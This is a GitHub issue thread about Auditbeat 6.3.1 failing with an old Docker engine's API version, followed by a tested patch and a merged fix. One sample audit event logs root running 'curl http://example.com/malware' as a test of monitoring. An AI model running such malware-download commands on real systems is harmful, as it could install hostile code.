[Auditbeat] Retain compatibility with older Docker server versions #7542

kholia · 2018-07-09T14:12:53Z

Auditbeat version -> 6.3.1

My auditbeat.yml uses the add_docker_metadata processor.

Running auditbeat test config --strict.perms=false -c auditbeat.yml is giving me Exiting: error initializing publisher: error initializing processors: Error response from daemon: client is newer than server (client API version: 1.24, server API version: 1.23) on this box.

I believe that Auditbeat 6.3.1 was deployed on this box when this error message occured. After downgrading Auditbeat to version 6.3.0, things are working fine on this box.

Box details,

$ uname -a
Linux ip-172-23-180-123 4.4.0-1048-aws #57-Ubuntu... x86_64 x86_64 x86_64 GNU/Linux

$ dpkg -l | grep docker
hi  docker-engine                    1.11.2-0~xenial...

$ docker --version
Docker version 1.11.2, build b9f10c9

This is an Ubuntu 16.04.3 LTS 64-bit box (UPDATED!).

Please let me know if more details are required to reproduce/debug this issue.

The text was updated successfully, but these errors were encountered:

kholia · 2018-07-09T14:14:30Z

CC @pmoust @exekias @urso.

exekias · 2018-07-09T16:14:25Z

If I understand Docker Maintenance Lifecycle correctly, Docker engine 1.11.2 end of life was on 2017-03-02. Still, it would be nice to improve our compatibility with old Docker versions, always keeping support for the newest.

I open to ideas here, not sure I have any 😞

Also pinging @andrewkroh

andrewkroh · 2018-07-09T17:14:48Z

@exekias Shouldn't our client downgrade to 1.23 automatically? I thought that is what this code was for?

beats/libbeat/common/docker/client.go

Lines 54 to 56 in 35a7882

    
           if versions.LessThan(ping.APIVersion, dockerAPIVersion) { 
        
           	c.UpdateClientVersion(ping.APIVersion) 
        
           }

exekias · 2018-07-09T17:27:03Z

Old versions of Docker don't report their version number on ping, so Docker fallbacks to 1.24 in that case, I copied that code to:

beats/libbeat/common/docker/client.go

Line 50 in 35a7882

ping.APIVersion = "1.24"

I wonder if this would work if we just write 1.23 there, @kholia would you test a custom build with that change?

exekias · 2018-07-09T17:28:13Z

For reference, original code is here: https://github.com/moby/moby/blob/master/client/client.go#L339

andrewkroh · 2018-07-09T17:36:37Z

Manually setting it might 🤞 work based on their env client accepting a version string and this post on stack overflow.

kholia · 2018-07-10T08:00:05Z

I double-checked my results to be 100% sure. I can reproduce my observations.

# auditbeat test config --strict.perms=false -c /etc/auditbeat/auditbeat.yml
Exiting: error initializing publisher: error initializing processors: 
Error response from daemon: client is newer than server
(client API version: 1.24, server API version: 1.23)

$ dpkg -l | grep auditbeat
ii  auditbeat                        6.3.1                                      amd64...

$ dpkg -l | grep docker
hi  docker-engine                    1.11.2-0~xenial ...

If I understand Docker Maintenance Lifecycle correctly, Docker engine 1.11.2 end of life was on 2017-03-02. Still, it would be nice to improve our compatibility with old Docker versions, always keeping support for the newest.

@exekias This is the upstream lifecycle. Many commercial Linux distributions have much longer downstream lifecycles. Yes, it would be awesome to support these downstream lifecycles as well. Many of our enterprise customers will be using commercially supported Linux distributions with very long downstream lifecycles instead of fast-moving updated targets like Fedora, non-LTS Ubuntu and the likes.

I wonder if this would work if we just write 1.23 there, @kholia would you test a custom build with that change?

I will apply this change, create a new build, and test it soon. Thanks!

kholia · 2018-07-10T09:07:25Z

I applied the following patch to beats master,

diff --git a/libbeat/common/docker/client.go b/libbeat/common/docker/client.go
index 3470602e2..6e7114360 100644
--- a/libbeat/common/docker/client.go
+++ b/libbeat/common/docker/client.go
@@ -47,7 +47,7 @@ func NewClient(host string, httpClient *http.Client, httpHeaders map[string]stri
 
        // try the latest version before versioning headers existed
        if ping.APIVersion == "" {
-               ping.APIVersion = "1.24"
+               ping.APIVersion = "1.23"
        }
 
        // if server version is lower than the client version, downgrade

Running sudo auditbeat test config --strict.perms=false -c /etc/auditbeat/auditbeat.yml with this fresh patched build gives me Config OK. This was failing with Auditbeat 6.3.1.

This Auditbeat version also seems to be working after I do systemctl start auditbeat.

Do I need to do more testing (i.e. check if docker metadata extraction is working fine) or is this sanity check enough?

exekias · 2018-07-10T09:24:07Z

Thank you for testing that! 🎉

It would be really nice if you could test that's working, you can use -N -e -d publish flags to run without actually publishing to Elasticsearch.

I will prepare a patch to use 1.23 as the default version if headers are not present + accept DOCKER_API_VERSION env variable to hardcode it.

kholia · 2018-07-10T09:25:56Z

It would be really nice if you could test that's working, you can use -N -e -d publish flags to run without actually publishing to Elasticsearch.

I am on it. I think I can just use the file output module instead of the Elasticsearch or Logstash output modules for my testing.

kholia · 2018-07-10T09:37:57Z

I am on it. I think I can just use the file output module instead of the Elasticsearch or Logstash output modules for my testing.

The Docker metadata extraction seems to be working fine 👍 I was able to see the container image URL and name in the output Auditbeat data.

My custom patched build of Auditbeat says,

# auditbeat --version
Flag --version has been deprecated, use version subcommand
auditbeat version 7.0.0-alpha1 (amd64), libbeat 7.0.0-alpha

kholia · 2018-07-10T09:48:03Z

Here is the full output document,

{
	"@timestamp": "2018-07-10T09:30:35.232Z",
	"@metadata": {
		"beat": "auditbeat",
		"type": "doc",
		"version": "7.0.0-alpha1"
	},
	"auditd": {
		"result": "success",
		"session": "unset",
		"data": {
			"old_pp": "00000000a80425fb",
			"fp": "0000000000000000",
			"a1": "95d608",
			"exit": "0",
			"old_pe": "00000000a80425fb",
			"syscall": "execve",
			"fver": "0",
			"tty": "pts1",
			"new_pe": "00000000a80425fb",
			"fe": "0",
			"fi": "0000000000000000",
			"new_pi": "00000000a80425fb",
			"new_pp": "00000000a80425fb",
			"old_pi": "00000000a80425fb",
			"arch": "x86_64",
			"a0": "95d4a8",
			"argc": "2",
			"a2": "953e08",
			"a3": "7ffe1b7f05e0"
		},
		"summary": {
			"object": {
				"primary": "/usr/bin/curl",
				"type": "file"
			},
			"how": "/usr/bin/curl",
			"actor": {
				"primary": "unset",
				"secondary": "root"
			}
		},
		"paths": [{
			"mode": "0100755",
			"name": "/usr/bin/curl",
			"nametype": "NORMAL",
			"rdev": "00:00",
			"dev": "00:29",
			"inode": "3901",
			"item": "0",
			"ogid": "0",
			"ouid": "0"
		}, {
			"name": "/lib64/ld-linux-x86-64.so.2",
			"nametype": "NORMAL",
			"ogid": "0",
			"rdev": "00:00",
			"dev": "00:29",
			"inode": "32",
			"item": "1",
			"mode": "0100755",
			"ouid": "0"
		}],
		"sequence": 2074090
	},
	"event": {
		"module": "auditd",
		"category": "audit-rule",
		"type": "syscall",
		"action": "executed"
	},
	"user": {
		"auid": "unset",
		"gid": "0",
		"sgid": "0",
		"uid": "0",
		"euid": "0",
		"fsgid": "0",
		"name_map": {
			"uid": "root",
			"egid": "root",
			"euid": "root",
			"fsgid": "root",
			"fsuid": "root",
			"gid": "root",
			"sgid": "root",
			"suid": "root"
		},
		"egid": "0",
		"fsuid": "0",
		"suid": "0"
	},
	"process": {
		"exe": "/usr/bin/curl",
		"cwd": "/",
		"args": ["curl", "http://example.com/malware"],
		"pid": "15340",
		"ppid": "14776",
		"title": "curl http://example.com/malware",
		"name": "curl"
	},
	"docker": {
		"container": {
			"id": "dummy",
			"labels": {
				"io": {
					"dummy": {
						"app": "dummy-service",
						"availability_zone": "eu-dummy-1c",
						"environment": "dummy",
						"region": "eu-dummy-1",
						"version": "stable"
					}
				}
			},
			"image": "dummy",
			"name": "dummy-service"
		}
	},
	"file": {
		"path": "/usr/bin/curl",
		"device": "00:00",
		"inode": "3901",
		"mode": "0755",
		"uid": "0",
		"gid": "0",
		"owner": "root",
		"group": "root"
	},
	"tags": ["exec", "auditbeat"],
	"beat": {
		"version": "7.0.0-alpha1",
		"name": "auditbeat",
		"hostname": "ip-172-xxx-xxx-xxx"
	},
	"host": {
		"name": "auditbeat"
	}

exekias · 2018-07-10T09:56:46Z

that's perfect, thank you so much for doing the testing! Will open a PR soon, targeting 6.4 and 6.3.2

exekias · 2018-07-10T11:07:32Z

I opened #7553, just in case you want to give that a try. We will both negotiate to a lower API version (that should be compatible with your deploy) + allow to hardcode the API version using an env variable.

Introducing API version negotiation (elastic#7165) brough support for new Docker versions, but broke support for versions in EOL. This change puts old API version (1.229 back on the default fallback, plus introduces version hardcoding through `DOCKER_API_VERSION` environment variable. I added some integration tests to check things are working. Fixes elastic#7542

kholia · 2018-07-10T11:25:04Z

Thanks! I will give that PR a try soon.

kholia · 2018-07-10T12:21:40Z

I will give that PR a try soon.

Without this PR (#7553) patch,

$ strings auditbeat | grep DOCKER_API_VERSION
<nothing>

After this PR patch,

$ strings auditbeat | grep DOCKER_API_VERSION
...Configuration pathDOCKER_API_VERSION...

$ strings /usr/share/auditbeat/bin/auditbeat | grep DOCKER_API_VERSION
...Configuration pathDOCKER_API_VERSION...

$ strings /usr/bin/auditbeat | grep DOCKER_API_VERSION
...Configuration pathDOCKER_API_VERSION...

This confirms that I have the right binary.

Auditbeat + Docker metadata extraction is working fine with this PR 👍

Introducing API version negotiation (#7165) brough support for new Docker versions, but broke support for versions in EOL. This change puts old API version (1.229 back on the default fallback, plus introduces version hardcoding through `DOCKER_API_VERSION` environment variable. I added some integration tests to check things are working. Fixes #7542

Introducing API version negotiation (elastic#7165) brough support for new Docker versions, but broke support for versions in EOL. This change puts old API version (1.229 back on the default fallback, plus introduces version hardcoding through `DOCKER_API_VERSION` environment variable. I added some integration tests to check things are working. Fixes elastic#7542 (cherry picked from commit 2215d24)

exekias · 2018-07-11T09:24:36Z

Thank you @kholia for all your input, you made this super easy to fix!

…rsions (#7567) Introducing API version negotiation (#7165) brough support for new Docker versions, but broke support for versions in EOL. This change puts old API version (1.229 back on the default fallback, plus introduces version hardcoding through `DOCKER_API_VERSION` environment variable. I added some integration tests to check things are working. Fixes #7542 (cherry picked from commit 2215d24)

…cker versions (elastic#7567) Introducing API version negotiation (elastic#7165) brough support for new Docker versions, but broke support for versions in EOL. This change puts old API version (1.229 back on the default fallback, plus introduces version hardcoding through `DOCKER_API_VERSION` environment variable. I added some integration tests to check things are working. Fixes elastic#7542 (cherry picked from commit cecb9a8)

kholia added the Auditbeat label Jul 9, 2018

andrewkroh added the libbeat label Jul 9, 2018

exekias mentioned this issue Jul 10, 2018

Bring back support for really old Docker versions #7553

Merged

ruflin closed this as completed in #7553 Jul 11, 2018

exekias mentioned this issue Jul 11, 2018

Cherry-pick #7553 to 6.3: Bring back support for really old Docker versions #7567

Merged

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

[Auditbeat] Retain compatibility with older Docker server versions #7542

[Auditbeat] Retain compatibility with older Docker server versions #7542

kholia commented Jul 9, 2018 •

edited

Loading

kholia commented Jul 9, 2018

exekias commented Jul 9, 2018 •

edited

Loading

andrewkroh commented Jul 9, 2018

exekias commented Jul 9, 2018

exekias commented Jul 9, 2018

andrewkroh commented Jul 9, 2018

kholia commented Jul 10, 2018 •

edited

Loading

kholia commented Jul 10, 2018

exekias commented Jul 10, 2018 •

edited

Loading

kholia commented Jul 10, 2018

kholia commented Jul 10, 2018

kholia commented Jul 10, 2018 •

edited

Loading

exekias commented Jul 10, 2018

exekias commented Jul 10, 2018

kholia commented Jul 10, 2018

kholia commented Jul 10, 2018 •

edited

Loading

exekias commented Jul 11, 2018

[Auditbeat] Retain compatibility with older Docker server versions #7542

[Auditbeat] Retain compatibility with older Docker server versions #7542

Comments

kholia commented Jul 9, 2018 • edited Loading

kholia commented Jul 9, 2018

exekias commented Jul 9, 2018 • edited Loading

andrewkroh commented Jul 9, 2018

exekias commented Jul 9, 2018

exekias commented Jul 9, 2018

andrewkroh commented Jul 9, 2018

kholia commented Jul 10, 2018 • edited Loading

kholia commented Jul 10, 2018

exekias commented Jul 10, 2018 • edited Loading

kholia commented Jul 10, 2018

kholia commented Jul 10, 2018

kholia commented Jul 10, 2018 • edited Loading

exekias commented Jul 10, 2018

exekias commented Jul 10, 2018

kholia commented Jul 10, 2018

kholia commented Jul 10, 2018 • edited Loading

exekias commented Jul 11, 2018

kholia commented Jul 9, 2018 •

edited

Loading

exekias commented Jul 9, 2018 •

edited

Loading

kholia commented Jul 10, 2018 •

edited

Loading

exekias commented Jul 10, 2018 •

edited

Loading

kholia commented Jul 10, 2018 •

edited

Loading

kholia commented Jul 10, 2018 •

edited

Loading